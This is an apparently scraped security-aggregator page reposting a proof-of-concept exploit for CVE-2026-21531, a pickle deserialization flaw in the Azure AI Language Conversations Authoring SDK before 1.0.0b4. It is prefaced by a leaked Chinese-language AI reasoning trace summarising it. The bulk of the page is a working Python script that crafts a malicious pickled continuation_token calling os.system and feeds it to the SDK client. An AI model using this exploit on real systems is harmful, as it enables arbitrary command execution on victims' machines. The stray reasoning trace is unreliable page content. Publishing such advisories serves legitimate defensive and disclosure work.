Azure AI Language Conversations Authoring SDK < 1.0.0b4 - Remote Code Execution
嗯,用户让我总结一下这篇文章的内容,控制在一百个字以内,而且不需要用“文章内容总结”或者“这篇文章”这样的开头。直接写描述就行。 首先,我需要仔细阅读用户提供的文章内容。看起来这是一篇关于Azure AI Language Conversations Authoring SDK漏洞的详细说明。文章提到了一个远程代码执行的漏洞,CVE编号是CVE-2026-21531,影响版本是小于1.0.0b4的版本。作者是Mohammed Idrees Banyamer,来自约旦。 文章中还包含了一个Python脚本的示例,展示了如何利用这个漏洞进行攻击。攻击者通过构造恶意的continuation_token,利用了不安全的pickle反序列化机制,从而在目标机器上执行任意命令。这个漏洞已经被修复,在1.0.0b4及以后的版本中已经不存在这个问题。 接下来,我需要将这些关键信息浓缩到一百个字以内。重点包括:漏洞名称、影响版本、攻击类型、利用方式以及修复版本。 可能的结构是:Azure SDK存在远程代码执行漏洞,影响版本小于1.0.0b4,通过反序列化恶意token触发,已在新版本修复。 这样既涵盖了主要信息,又符合字数限制。 </think> Azure AI语言对话创作SDK存在远程代码执行漏洞(CVE-2026-21531),影响版本<1.0.0b4。攻击者通过反序列化恶意continuation_token触发代码执行,在目标机器上运行命令。该漏洞已修复于1.0.0b4及以上版本。 2026-2-26 18:38:1 Author: cxsecurity.com(查看原文) 阅读量:0 收藏

Azure AI Language Conversations Authoring SDK < 1.0.0b4 - Remote Code Execution

#!/usr/bin/env python3 # Exploit Title: Azure AI Language Conversations Authoring SDK - Remote Code Execution # CVE: CVE-2026-21531 # Date: 2026-02-25 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://azure.microsoft.com/ # Software Link: https://pypi.org/project/azure-ai-language-conversations-authoring/ # Affected Versions: < 1.0.0b4 # Tested on: Python 3.x with azure-ai-language-conversations-authoring==1.0.0b3 # Category: Remote Code Execution # Platform: Python (client-side) # Exploit Type: Deserialization of Untrusted Data # CVSS: 9.8 (Critical) # CWE: CWE-502 # Description: Unsafe pickle deserialization of continuation_token in Azure SDK # Fixed in: 1.0.0b4 and later # Usage: python3 exploit.py # Notes: Lab/educational use only. Executes command on the machine running the script. print(""" ╔══════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ CVE-2026-21531 Proof of Concept ║ ║ ║ ║ ║ ║ Author ............ Mohammed Idrees Banyamer ║ ║ Country ........... Jordan ║ ║ Instagram ......... @banyamer_security ║ ║ Date .............. February 25, 2026 ║ ║ ║ ╚══════════════════════════════════════════════════════════════════════════════╝ """) import pickle import base64 import os import time from azure.ai.language.conversations.authoring import ConversationAuthoringClient from azure.core.credentials import AzureKeyCredential class MaliciousPayload: def __reduce__(self): cmd = 'echo "=== RCE SUCCESS - CVE-2026-21531 EXPLOITED === $(date)" > /tmp/cve_2026_21531_hacked.txt && whoami >> /tmp/cve_2026_21531_hacked.txt' return (os.system, (cmd,)) def generate_malicious_token(): payload = MaliciousPayload() pickled = pickle.dumps(payload) token = base64.b64encode(pickled).decode('ascii') print("[+] Malicious Continuation Token generated successfully") print(f"[+] Token length: {len(token)} characters") return token if __name__ == "__main__": print("CVE-2026-21531 Lab Exploit - Azure SDK Pickle RCE") print("=" * 60) endpoint = "https://fake-language-resource.cognitiveservices.azure.com/" key = "fake-key-1234567890abcdef" client = ConversationAuthoringClient(endpoint, AzureKeyCredential(key)) malicious_token = generate_malicious_token() print("[+] Sending malicious token to the SDK...") try: poller = client.begin_cancel_training_job( job_id="fake-job-12345", continuation_token=malicious_token ) except Exception as e: print(f"[!] Exception (normal after RCE): {type(e).__name__}") time.sleep(2) proof_file = "/tmp/cve_2026_21531_hacked.txt" if os.path.exists(proof_file): print("\nSUCCESS! Exploit worked 100%") print("Proof file content:") with open(proof_file, "r") as f: print(f.read()) else: print("\nProof file not created. Try changing the command or running with higher privileges.") print("\nReminder: After testing, delete the file and upgrade the SDK to >= 1.0.0b4")



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2026020029
如有侵权请联系:admin#unsafe.sh